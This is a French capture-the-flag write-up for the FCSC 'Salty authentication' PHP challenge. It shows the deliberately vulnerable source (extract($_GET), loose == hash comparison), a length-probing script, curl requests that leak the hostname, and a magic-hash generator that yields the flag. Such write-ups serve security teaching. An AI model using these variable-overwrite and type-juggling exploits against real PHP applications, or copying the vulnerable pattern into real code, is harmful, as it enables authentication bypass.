Solution de JJarrie pour Salty authentication

web PHP

6 janvier 2024

Découverte de l’application

La première chose que l’on voit en arrivant sur le site est le code php suivant:

<?php

error_reporting(0);

include('flag.php');
$salt = bin2hex(random_bytes(12));

extract($_GET);

$secret = gethostname() . $salt;

if (isset($password) && strlen($password) === strlen($secret) && $password !== $secret) {
    if (hash('fnv164', $password) == hash('fnv164', $secret)) {
        exit(htmlentities($flag));
    } else {
        echo('Wrong password!');
        exit($log_attack());
    }
}

highlight_file(__FILE__);

?>

Plusieurs choses sont importantes à remarquer:

  1. error_reporting(0) : qui signifie qu’aucun message d’erreur ne sera affiché
  2. include('flag.php') : un fichier flag.php est présent sur le serveur et inclue dans la page
  3. extract($_GET) : on va pouvoir injecter les valeurs que l’on souhaite aux variable du script à partir de cette ligne en les passant comme paramètre get (?variable=valeur) à la page. Les variables que l’ont peut écraser sont : $salt, $password & $log_attack
  4. exit(htmlentities($flag)) est visblement la partie du code que l’on souhaite exécuter
  5. exit($log_attack()) va nous permettre de faire appel à une fonction sans paramètre grâce à l’injection de variable

Premier barrage

if (isset($password) && strlen($password) === strlen($secret) && $password !== $secret) {

Pour passer cette condition il faut donc injecter une variable $password qui doit faire la taille de la concaténation du résultat de gethostname() que nous ne maîtrisons pas et de $salt que nous pouvons contrôler. Leur valeurs doit par contre être différente.

Pas très envie de me prendre trop la tête dessus on va déterminer la taille de gethostname() avec un petit script.

<?php

$size = 23;

do {
  $size++;
  $contents = file_get_contents('http://localhost:8000/?password='.str_repeat('A', $size));
} while(strpos($contents, "error_reporting") !== false);

echo ($size - 24) . PHP_EOL;

On sait déjà que le $salt d’origine est la représentation héxadécimale de 12 bytes qui fait donc 24 caractères, pas besoin d’itérer sur des longeurs inférieures. On apprend donc que gethostname() est une chaîne de 12 caractères. Notre variable password devra être une chaîne de 36 caractères pour passer la première condition avec le salt d’origine.

> curl http://localhost:8000/\?password\=`php -r "echo str_repeat('A', 36);"`
Wrong password!

Première barrière franchie! Il reste maintenant à l’exploiter, nous pouvons exécuter cette partie du code à volonté:

echo('Wrong password!');
exit($log_attack());

Nous devons trouver quoi inject à log_attack pour avancer, j’ai tout d’abord penser à get_defined_vars mais nous n’avons aucun moyen d’afficher son retour trop complexe. La clef était sous mon nez, nous pouvons récupérer le dernier paramètre que nous n’avions pas gethostname()!

> curl http://localhost:8000/\?password\=`php -r "echo str_repeat('A', 36);"`\&log_attack=gethostname
Wrong password!049ad39236fd

Notre hostname est donc “049ad39236fd”! Avec cette information, nous pouvons nous attaquer à la seconde barrière.

Seconde barrière

if (isset($password) && strlen($password) === strlen($secret) && $password !== $secret) {
    if (hash('fnv164', $password) == hash('fnv164', $secret)) {

Il faut donc passer ces 2 conditions en même temps, maintenant que nous avons le hostname, il pourrait sembler simple de faire en sorte d’injecter les bonnes valeurs et faire en sorte que $password et $secret soit identiques pour générer le même hash (?password=049ad39236fd123&salt=123 par exemple), mais la première condition nous en empêche.

Une première piste, serait de générer une collision de hash, à savoir que 2 chaînes de caractère différentes passé à la même fonction de hashage génère un hash identique. Mais nous avons une partie de la chaîne d’entrée imposée (le hostname), et trouver des collisions pourrait être assez long, la fonction de hash utilisée n’étant pas aussi courante que md5 par exemple, pour lequel nous pourrions trouver des tables pour en chercher.

La seconde piste est plus discrète, il faut s’apercevoir que l’opérateur de comparaison est == qui est sensible au type juggling (exemples plus concret). Il faut aussi savoir que la fonction hash retourne la représentation hexadécimal du hash (sauf si son 3ème paramètre est à true), ce qui signifie ici que 2 hashs commencant par ‘0e’ suivi d’uniquement des chiffres seront considérés équivalent (0 == "0" == "0e123" == false), si la fonction hash pouvait retourner false, nous aurions aussi pu essayer de déclencher une erreur.

Donc pour résumer, nous connaissons le retour de gethostname(), nous pouvons fixer la valeur de $password et de $salt. Nous devons donc injecter un password qui contient le hostname + une chaîne équivalente au salt qui donne un hash de type 0e\d+ et un salt qui donnera un hash équivalent une fois concaténé au gethostname(). Les 2 hashs seront donc phpiquement vrai.

Un script pour nous générer ces fameux magic hashes (car nous dépendons de gethostname comme préfixe, nous ne pouvons pas juste en prendre au hasard sur internet).

<?php

$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$hostname = '049ad39236fd'; // Seul paramètre à changer en fonction de ce que vous avez chez vous

function random_string($length, $characters_set) {
  $random_string = '';

  for ($i = 0; $i < $length; $i++) {
    $character_index = rand(0, strlen($characters_set) - 1);
    $random_string .= $characters_set[$character_index];
  }

  return $random_string;
}

while (true) {
  $salt = bin2hex(random_bytes(12));
  $password = $hostname . $salt;

  $hash = hash('fnv164', $password);

  if (str_starts_with($hash, '0e')) {
    $payload_part = substr($hash, 2);
    if (is_numeric($payload_part)) {
      echo sprintf('%s - %s - %s', $hash, $password, $salt) . PHP_EOL;
    }
  }
}

Vous allez être surpris du nombre détectés et à la vitesse à laquelle ils le sont.

0e010093820489e6 - 049ad39236fdbc03058c4b4269029069a509 - bc03058c4b4269029069a509 La première valeur est le hash généré, la seconde la valeur qu’il faut injecter à password pour avoir ce hash, la troisième est la valeur à injecter a salt pour générer ce hash. Pour rappel il faut pour la première condition que les 2 chaînes soient différentes, il faut donc prendre le password d’un hash et le salt d’un autre.

> curl http://localhost:8000/\?password\=049ad39236fd6a36e02d970d23dfcf74578c\&salt\=d5eaa9e2c0118ca1fac41dfb
FCSC{d090643090b9ac9dd7cddc1d830f0457213e5b50e7a59f1fe493df69c60ac054}

Félicitations, cette protection “salée” est bypassée!